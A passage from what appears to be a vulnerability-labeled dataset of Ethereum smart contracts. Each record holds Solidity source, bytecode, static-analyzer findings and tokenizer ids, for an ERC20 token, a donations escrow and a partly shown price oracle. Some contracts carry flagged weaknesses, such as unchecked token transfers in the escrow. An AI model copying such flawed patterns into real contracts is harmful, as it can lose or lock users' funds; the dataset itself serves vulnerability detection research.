7565b602081016108f8828461380d565b602081016108f882846137fe565b60408101613f6982856137fe565b61115a6020830184613878565b60408101613f84828561380d565b61115a602083018461380d565b60a08101613f9f828861380d565b613fac602083018761380d565b613fb96040830186613878565b613fc66060830185613878565b61261f6080830184613878565b60e08101613fe1828a61380d565b613fee602083018961380d565b613ffb6040830188613878565b6140086060830187613878565b6140156080830186613878565b61402260a083018561380d565b61141960c0830184613878565b6060810161403d828661380d565b61404a602083018561380d565b612bf36040830184613878565b60408101613f69828561380d565b60a08101614073828861380d565b6140806020830187613878565b61408d6040830186613878565b61409a6060830185613878565b61261f608083018461380d565b60e081016140b5828a61380d565b6140c26020830189613878565b6140cf6040830188613878565b6140dc6060830187613878565b614015608083018661380d565b60c081016140f7828961380d565b6141046020830188613878565b6141116040830187613878565b61411e6060830186613878565b61412b608083018561380d565b61221e60a0830184613878565b60608101614146828661380d565b6141536020830185613878565b612bf3604083018461380d565b6020808252810161115a8184613816565b602081016108f8828461386f565b602081016108f88284613878565b60408101613f848285613878565b604081016141a98285613878565b61115a602083018461386f565b60408101613f698285613878565b604081016141d28285613878565b81810360208301526111578184613892565b60a081016140738288613878565b60c080825281016142038189613892565b905061421260208301886138dc565b61421f6040830187613878565b61422c60608301866138d3565b61423960808301856138d3565b61221e60a08301846138d3565b60c080825281016142578189613892565b905061426660208301886138dc565b6142736040830187613878565b61422c6060830186613878565b60c080825281016142918189613892565b90506142a060208301886138dc565b6142ad6040830187613878565b6142ba6060830186613878565b6142396080830185613878565b602081016108f882846138ca565b6020808252810161115a8184613892565b602080825281016108f8816138e5565b602080825281016108f88161391e565b602080825281016108f881613975565b602080825281016108f8816139a4565b602080825281016108f8816139dd565b602080825281016108f881613a60565b602080825281016108f881613a99565b602080825281016108f881613b5e565b602080825281016108f881613ba6565b602080825281016108f881613bdf565b602080825281016108f881613c18565b602080825281016108f881613e06565b602080825281016108f881613e7a565b604081016143c48285613878565b61115a60208301846138ca565b606081016141468286613878565b606081016143ed8286613878565b61404a6020830185613878565b602081016108f88284613eb3565b60405181810167ffffffffffffffff8111828210171561442757600080fd5b604052919050565b600067ffffffffffffffff82111561444657600080fd5b5060209081020190565b60200190565b5190565b90815260200190565b919050565b60006108f882612e03565b151590565b60006108f882614468565b60ff1690565b60006108f882614478565b60006108f861388d83610f8e565b60006108f882610f8e565b60005b838110156144c85781810151838201526020016144b0565b83811115611ed25750506000910152565b601f01601f191690565b6144ec81614468565b81146111df57600080fd5b6144ec81614473565b6144ec81610f8e565b6144ec8161447856fea365627a7a723158204cb502697553759464d0c2ad637d6ac4b23388eb5ea3062f1341f043cd0bf8516c6578706572696d656e74616cf564736f6c63430005100040
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 2575, 2581, 2094, 2581, 2094, 2692, 2549, 2546, 2094, 2692, 18939, 2692, 27717, 2050, 18827, 2581, 2620, 16409, 2094, 2549, 3676, 27531, 24594, 2692, 24087, 2575, 2497, 18139, 1013, 1008, 100, 5432, 5432, 5432, 100, 2023, 2003, 1037, 4539, 3206, 1011, 2079, 2025, 7532, 2000, 2009, 3495, 1999, 2115, 8311, 2030, 4830, 28281, 999, 2023, 3206, 2038, 2019, 3378, 24540, 2008, 2442, 2022, 2109, 2005, 2035, 8346, 2015, 1011, 2023, 4539, 2097, 2022, 2999, 1999, 2019, 9046, 24203, 20624, 2595, 2713, 999, 1996, 24540, 2005, 2023, 3206, 2064, 2022, 2179, 2182, 1024, 16770, 1024, 1013, 1013, 8311, 1012, 24203, 20624, 2595, 1012, 22834, 1013, 24540, 2121, 2278, 11387, 1008, 1013, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,838
0x97771c45c6a050fb3435da27b65a4e6712c27168
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract Darwinism is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "Darwinism"; symbol = "DARWIN"; decimals = 2; _totalSupply = 100000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a7231582098df648b6282565a9549f2bf3b86c3944f107e8cc2230d3564704cedb21664eb64736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2581, 2581, 2487, 2278, 19961, 2278, 2575, 2050, 2692, 12376, 26337, 22022, 19481, 2850, 22907, 2497, 26187, 2050, 2549, 2063, 2575, 2581, 12521, 2278, 22907, 16048, 2620, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 9413, 2278, 19204, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,839
0x977733067C45B460BEaC88D7D3354ab84473F087
pragma solidity ^0.8.0; /* DonationsPipeline An escrow contract that receives tokens of any type. Tokens of type 'donation token' can only be sent to the donations delegate */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract DonationsPipeline is Ownable { address public donationToken; address public donationDelegate; constructor( address _donationToken, address _donationDelegate ) { donationToken = _donationToken; donationDelegate = _donationDelegate; } function donateTokens( ) public returns (bool){ uint256 internalVaultBalance = IERC20(donationToken).balanceOf(address(this)); IERC20(donationToken).transfer( donationDelegate, internalVaultBalance ); return true; } function extractTokenOfType( address currencyToClaim ) public onlyOwner returns (bool){ require(currencyToClaim != donationToken, 'that currency must be donated'); uint256 internalVaultBalance = IERC20(currencyToClaim ).balanceOf(address(this)); IERC20(currencyToClaim).transfer( msg.sender, internalVaultBalance ); return true; } function extractETH( ) public payable onlyOwner returns (bool) { payable(msg.sender).transfer( address(this).balance ); return true; } // fallback() external payable { revert(); } // receive() external payable { revert(); } }
0x60806040526004361061007b5760003560e01c8063a0e35c1a1161004e578063a0e35c1a1461012a578063a4f55d5114610155578063f2fde38b14610180578063fabb71d2146101a95761007b565b80630df721591461008057806318c94a4c146100ab578063715018a6146100e85780638da5cb5b146100ff575b600080fd5b34801561008c57600080fd5b506100956101c7565b6040516100a29190610b7e565b60405180910390f35b3480156100b757600080fd5b506100d260048036038101906100cd91906109f0565b6101ed565b6040516100df9190610bc2565b60405180910390f35b3480156100f457600080fd5b506100fd610421565b005b34801561010b57600080fd5b5061011461055b565b6040516101219190610b7e565b60405180910390f35b34801561013657600080fd5b5061013f610584565b60405161014c9190610b7e565b60405180910390f35b34801561016157600080fd5b5061016a6105aa565b6040516101779190610bc2565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a291906109f0565b610734565b005b6101b16108dd565b6040516101be9190610bc2565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006101f76109a9565b73ffffffffffffffffffffffffffffffffffffffff1661021561055b565b73ffffffffffffffffffffffffffffffffffffffff161461026b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026290610bfd565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156102fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102f390610c1d565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016103379190610b7e565b60206040518083038186803b15801561034f57600080fd5b505afa158015610363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103879190610a42565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016103c4929190610b99565b602060405180830381600087803b1580156103de57600080fd5b505af11580156103f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104169190610a19565b506001915050919050565b6104296109a9565b73ffffffffffffffffffffffffffffffffffffffff1661044761055b565b73ffffffffffffffffffffffffffffffffffffffff161461049d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049490610bfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106089190610b7e565b60206040518083038186803b15801561062057600080fd5b505afa158015610634573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106589190610a42565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016106d9929190610b99565b602060405180830381600087803b1580156106f357600080fd5b505af1158015610707573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072b9190610a19565b50600191505090565b61073c6109a9565b73ffffffffffffffffffffffffffffffffffffffff1661075a61055b565b73ffffffffffffffffffffffffffffffffffffffff16146107b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a790610bfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081790610bdd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006108e76109a9565b73ffffffffffffffffffffffffffffffffffffffff1661090561055b565b73ffffffffffffffffffffffffffffffffffffffff161461095b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095290610bfd565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156109a1573d6000803e3d6000fd5b506001905090565b600033905090565b6000813590506109c081610c96565b92915050565b6000815190506109d581610cad565b92915050565b6000815190506109ea81610cc4565b92915050565b600060208284031215610a0257600080fd5b6000610a10848285016109b1565b91505092915050565b600060208284031215610a2b57600080fd5b6000610a39848285016109c6565b91505092915050565b600060208284031215610a5457600080fd5b6000610a62848285016109db565b91505092915050565b610a7481610c4e565b82525050565b610a8381610c60565b82525050565b6000610a96602683610c3d565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610afc602083610c3d565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000610b3c601d83610c3d565b91507f746861742063757272656e6379206d75737420626520646f6e617465640000006000830152602082019050919050565b610b7881610c8c565b82525050565b6000602082019050610b936000830184610a6b565b92915050565b6000604082019050610bae6000830185610a6b565b610bbb6020830184610b6f565b9392505050565b6000602082019050610bd76000830184610a7a565b92915050565b60006020820190508181036000830152610bf681610a89565b9050919050565b60006020820190508181036000830152610c1681610aef565b9050919050565b60006020820190508181036000830152610c3681610b2f565b9050919050565b600082825260208201905092915050565b6000610c5982610c6c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b610c9f81610c4e565b8114610caa57600080fd5b50565b610cb681610c60565b8114610cc157600080fd5b50565b610ccd81610c8c565b8114610cd857600080fd5b5056fea264697066735822122053c04d3d7898aa80ada9cafb5f217f93a84a47b6751ae9f3eecca7adcee79bcc64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 2581, 22394, 2692, 2575, 2581, 2278, 19961, 2497, 21472, 2692, 4783, 6305, 2620, 2620, 2094, 2581, 2094, 22394, 27009, 7875, 2620, 22932, 2581, 2509, 2546, 2692, 2620, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 11440, 24548, 4179, 2019, 9686, 24375, 3206, 2008, 8267, 19204, 2015, 1997, 2151, 2828, 1012, 19204, 2015, 1997, 2828, 1005, 13445, 19204, 1005, 2064, 2069, 2022, 2741, 2000, 1996, 11440, 11849, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,840
0x977746370145e1af4ff37a578454d57e2334a8a4
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.10; pragma experimental ABIEncoderV2; import "./OpenOraclePriceData.sol"; import "./ICompoundOracle.sol"; import "./PriceConfig.sol"; import "./UniswapConfig.sol"; /// @title Oracle for Kine Protocol /// @author Kine Technology contract KineOracle is PriceConfig { struct Observation { uint timestamp; uint acc; } struct KineOracleConfig{ address reporter; // The reporter that signs the price address kaptain; // The kine kaptain contract address uniswapFactory; // The uniswap factory address address wrappedETHAddress; // The WETH contract address uint anchorToleranceMantissa; // The percentage tolerance that the reporter may deviate from the uniswap anchor uint anchorPeriod; // The minimum amount of time required for the old uniswap price accumulator to be replaced } using FixedPoint for *; /// @notice The Open Oracle Price Data contract OpenOraclePriceData public immutable priceData; /// @notice The Compound Oracle Price contract ICompoundOracle public compoundOracle; /// @notice The number of wei in 1 ETH uint public constant ethBaseUnit = 1e18; /// @notice A common scaling factor to maintain precision uint public constant expScale = 1e18; /// @notice The Open Oracle Reporter address public reporter; /// @notice The Kaptain contract address that steers the MCD price and kUSD minter address public kaptain; /// @notice The mcd last update timestamp uint public mcdLastUpdatedAt; /// @notice The highest ratio of the new price to the anchor price that will still trigger the price to be updated uint public immutable upperBoundAnchorRatio; /// @notice The lowest ratio of the new price to the anchor price that will still trigger the price to be updated uint public immutable lowerBoundAnchorRatio; /// @notice The minimum amount of time in seconds required for the old uniswap price accumulator to be replaced uint public immutable anchorPeriod; /// @notice Official prices by symbol hash mapping(bytes32 => uint) public prices; /// @notice Circuit breaker for using anchor price oracle directly, ignoring reporter bool public reporterInvalidated; /// @notice The old observation for each symbolHash mapping(bytes32 => Observation) public oldObservations; /// @notice The new observation for each symbolHash mapping(bytes32 => Observation) public newObservations; /// @notice The event emitted when new prices are posted but the stored price is not updated due to the anchor event PriceGuarded(string symbol, uint reporter, uint anchor); /// @notice The event emitted when the stored price is updated event PriceUpdated(string symbol, uint price); /// @notice The event emitted when anchor price is updated event AnchorPriceUpdated(string symbol, uint anchorPrice, uint oldTimestamp, uint newTimestamp); /// @notice The event emitted when the uniswap window changes event UniswapWindowUpdated(bytes32 indexed symbolHash, uint oldTimestamp, uint newTimestamp, uint oldPrice, uint newPrice); /// @notice The event emitted when reporter invalidates itself event ReporterInvalidated(address reporter); /// @notice The event emitted when reporter is updated event ReporterUpdated(address oldReporter, address newReporter); /// @notice The event emitted when compound oracle is updated event CompoundOracleUpdated(address fromAddress, address toAddress); /// @notice The event emitted when Kaptain is updated event KaptainUpdated(address fromAddress, address toAddress); /// @notice The event emitted when new config added event TokenConfigAdded(address kToken, address underlying, bytes32 symbolHash, uint baseUnit, KPriceSource priceSource, uint fixedPrice, address uniswapMarket, bool isUniswapReversed); /// @notice The event emitted when config removed event TokenConfigRemoved(address kToken, address underlying, bytes32 symbolHash, uint 